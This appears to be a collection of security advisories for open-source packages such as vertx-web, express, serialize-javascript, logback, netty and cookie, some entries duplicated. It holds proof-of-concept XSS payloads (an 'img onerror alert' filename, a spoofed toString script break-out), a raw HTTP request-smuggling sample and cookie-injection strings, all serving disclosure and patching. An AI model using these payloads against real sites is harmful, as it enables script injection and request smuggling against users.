# Description - In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS. - Affected Code: - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java` - Lines: - 709–713: `normalizedDir` is constructed without escaping - 714–731: `<li><a ...>` elements insert file names directly into attributes and body without escaping - 744: parent directory name construction - 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping # Reproduction Steps 1. Prerequisites: - Directory listing is enabled using `StaticHandler` (e.g., `StaticHandler.create("public").setDirectoryListing(true)`) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory) 2. Create a malicious file name (example for Unix-based OS): - Create an empty file in `public/` with one of the following names: - `<img src=x onerror=alert('XSS')>.txt` - Or attribute injection: `evil" onmouseover="alert('XSS')".txt` - Example: ```bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt" ``` 3. Start the server (example): - Routing: `router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));` - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);` 4. Verification request (raw HTTP): ``` GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close ``` 5. Example response excerpt: ```html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> ``` - When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed. # Potential Impact - **Stored XSS** - Arbitrary JavaScript executes in the browser context of users viewing the listing page - Possible consequences: - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications) - Watering hole attacks, including malware distribution or malicious script injection to other pages - **Common Conditions That Make Exploitation Easier** - Uploaded files are served directly under a publicly accessible directory - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments # Similar CVEs Previously Reported - CVE‑2024‑32966 - CVE‑2019‑15603
### Impact passing untrusted user input - even after sanitizing it - to `redirect()` may execute untrusted code ### Patches this issue is patched in serve-static 1.16.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template
### Impact passing untrusted user input - even after sanitizing it - to `SendStream.redirect()` may execute untrusted code ### Patches this issue is patched in send 0.19.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template
### Impact In express <4.20.0, passing untrusted user input - even after sanitizing it - to `response.redirect()` may execute untrusted code ### Patches this issue is patched in express 4.20.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template
Serialize JavaScript serializes JavaScript values to a superset of JSON that includes regular expressions and functions. Prior to 7.1.3, the function-source escaping logic does not neutralize a bare closing-script prefix when attacker-influenced function source text ends exactly at that prefix. Because each function body is escaped independently, a delimiter supplied by surrounding serialized output can terminate an HTML script element, and a later serialized value supplies injected markup that becomes a live element in the page. Exploitation requires control of a serialized function's source text, such as through a spoofed toString(). This issue is fixed in version 7.1.3.
### Impact `serialize-javascript` escapes its output so it is safe to embed inside a `<script>` element. Before 7.1.3 that guarantee did not hold for a **function value whose source ends in a bare `</script`**. Each function body is escaped on its own, and a bare `</script` was only neutralized when followed — within the same body — by a character the HTML tokenizer treats as ending the tag name (TAB, LF, FF, CR, SPACE, `/` or `>`). A body ending exactly at `</script` has no following character, so it was emitted unescaped. The delimiter is then supplied by the surrounding output (for example the newline the `space` option emits after the value), and a later serialized value can supply the closing `>` followed by markup: ```js const serialize = require('serialize-javascript'); function f() {} f.toString = () => 'function f(){ return 1 }//</script'; function g() {} g.toString = () => 'function g(x){ return x } > <img src=x onerror=alert(1)>'; serialize({ a: { f }, g }, { space: 2 }); // { // "a": { // "f": function f(){ return 1 }//</script // }, // "g": function g(x){ return x } > <img src=x onerror=alert(1)> // } ``` Embedded in a `<script>` element, the script ends at the injected tag and the `<img>` becomes a live element in the page. Exploitation requires an attacker to control the **source text** of a serialized function, in practice through a spoofed `toString()`. Real functions always end in `}`, so ordinary function values are not affected, and non-function values (including strings containing `</script`) are escaped correctly. ### Patches Fixed in **7.1.3** (#235). The bare `</script` form is now also matched at the end of the function body, so it is escaped regardless of what follows it in the output. ### Workarounds Upgrade to **7.1.3**. If you cannot upgrade, do not serialize function values whose source text (or `toString()`) can be influenced by an attacker. ### Credits Reported by **ha_kr25** via the Yahoo bug bounty program.
Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file. The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file. The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations.
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is `a5b98a4f30d7813266b221435e1eaaf25a1b0ac5`. It is recommended to upgrade the affected component.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive.
Rejected reason: This was not a security issue in Bootstrap. Bootstrap’s JavaScript is not intended to sanitize unsafe or intentionally dangerous HTML. As such, the reported behavior fell outside the scope of Bootstrap’s security model, and the associated CVE has been rescinded.
Rejected reason: This was not a security issue in Bootstrap. Bootstrap’s JavaScript is not intended to sanitize unsafe or intentionally dangerous HTML. As such, the reported behavior fell outside the scope of Bootstrap’s security model, and the associated CVE has been rescinded.
## Summary A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. ## Details When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): ``` POST /one HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 POST /two HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 0 ``` The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). ## Impact This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization. ## Disclosure - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html ## Discussion Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1 ## Credit - Credit to @JeppW for uncovering this vulnerability. - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.
### Impact The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, `serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)` would result in `"userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"`, setting `userName` cookie to `<script>` and ignoring `value`. A similar escape can be used for `path` and `domain`, which could be abused to alter other fields of the cookie. ### Patches Upgrade to 0.7.0, which updates the validation for `name`, `path`, and `domain`. ### Workarounds Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input. ### References * https://github.com/jshttp/cookie/pull/167
No resolved vulnerability.